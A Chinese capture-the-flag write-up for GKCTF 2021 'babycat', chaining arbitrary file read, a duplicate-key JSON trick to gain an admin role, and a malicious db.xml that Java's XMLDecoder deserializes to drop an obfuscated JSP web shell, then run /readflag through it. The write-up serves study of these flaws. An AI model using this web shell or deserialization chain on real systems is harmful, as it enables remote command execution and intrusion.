[GKCTF 2021]babycat-revenge & babycat
知识点
【实战】Weblogic xmldecoder反序列化Getshell
解题步骤
在/register,可以f12看源码。发现可以post json数据来注册。
先随便注册一个:data={"username":"asd","password":"asd"}
然后直接登录。
看到下载,十有八九可以任意文件读取。
读取到/proc/self/environ,可以知道是java后台,得知网页根目录。
然后读取web.xml。把里面的class文件读一遍,放到idea可以直接看代码
在register.class里面
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setCharacterEncoding("UTF-8"); Integer res = 0; String role = ""; Gson gson = new Gson(); new Person(); Connection connection = null; String var = req.getParameter("data").replaceAll(" ", "").replace("'", "\""); Pattern pattern = Pattern.compile("\"role\":\"(.*?)\""); for(Matcher matcher = pattern.matcher(var); matcher.find(); role = matcher.group()) { } Person person; if (!StringUtils.isNullOrEmpty(role)) { var = var.replace(role, "\"role\":\"guest\""); person = (Person)gson.fromJson(var, Person.class); } else { person = (Person)gson.fromJson(var, Person.class); person.setRole("guest"); } System.out.println(person); if (person.getUsername() == null || person.getPassword() == null) { resp.sendError(500, "用户名或密码不能为空!"); } person.setPic("/static/cat.gif"); try { connection = baseDao.getConnection(); } catch (Exception var17) { var17.printStackTrace(); } if (connection != null) { String sql_query = "select * from ctf where username=?"; Object[] params1 = new Object[]{person.getUsername()}; try { ResultSet rs = baseDao.execute(connection, sql_query, params1); if (rs.next()) { System.out.println(rs.next()); resp.sendError(500, "user already exists!"); } else { String sql = "insert into ctf (username,password,role,pic) values (?,?,?,?)"; Object[] params2 = new Object[]{person.getUsername(), person.getPassword(), person.getRole(), person.getPic()}; res = baseDao.Update(connection, sql, params2); } } catch (SQLException var16) { var16.printStackTrace(); } baseDao.closeResource(connection, (ResultSet)null, (PreparedStatement)null); } if (res == 1) { resp.getWriter().write("register success!"); } }
匹配到"role":"(.*?)"就把""内替换为Guest。那么这里就要利用json的特性。{"a":"1","a":"2"}。后面的值会覆盖前面的值。并且支持/*/注释。所以这里第一个role让他匹配到。进入替换逻辑。然后第二个role用//不让匹配到。
回到注册位置,重新注册
data={"username":"123","password":"123","role":"guest","role":/**/"admin"}
然后登录123即为admin。
打开upload。
在register.class源码还可以知道com.web.dao.baseDao的类文件。
按照之前的方法读取源码。
public static void getConfig() throws FileNotFoundException { Object obj = (new XMLDecoder(new FileInputStream(System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/db/db.xml"))).readObject(); if (obj instanceof HashMap) { HashMap map = (HashMap)obj; if (map != null && map.get("url") != null) { driver = (String)map.get("driver"); url = (String)map.get("url"); username = (String)map.get("username"); password = (String)map.get("password"); } } }
看到xmldecoder,而且在register和login里面,都有connection = baseDao.getConnection();
然后在baseDao.class里面,有getConfig();
调用,所以可以用上面文章的方法进行rce。
在/proc/self/environ里面得知网页目录
上传一个db.xml覆盖baseDao里面调用的,作为木马(来自https://www.crisprx.top/archives/412#GKCTF2021_babtcat-revenge)
<java version="1.8.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>/usr/local/tomcat/webapps/ROOT/static/asd.jsp</string><void method="println"><string><![CDATA[`<% if(request.getParameter("cmd")!=null){ Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 })); Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null), request.getParameter("cmd") ); java.io.InputStream in = e.getInputStream(); int a = -1;byte[] b = new byte[2048];out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("</pre>"); } %>`]]></string></void><void method="close"/></object></java>
需要将木马写在/static文件夹下,这里可读并可解析jsp。
然后重新登录触发db.xml
进入/static/asd.jsp进行rce
http://fc4f9266-cf10-4933-bc5e-69b22ae5eb58.node4.buuoj.cn:81/static/asd.jsp?cmd=/readflag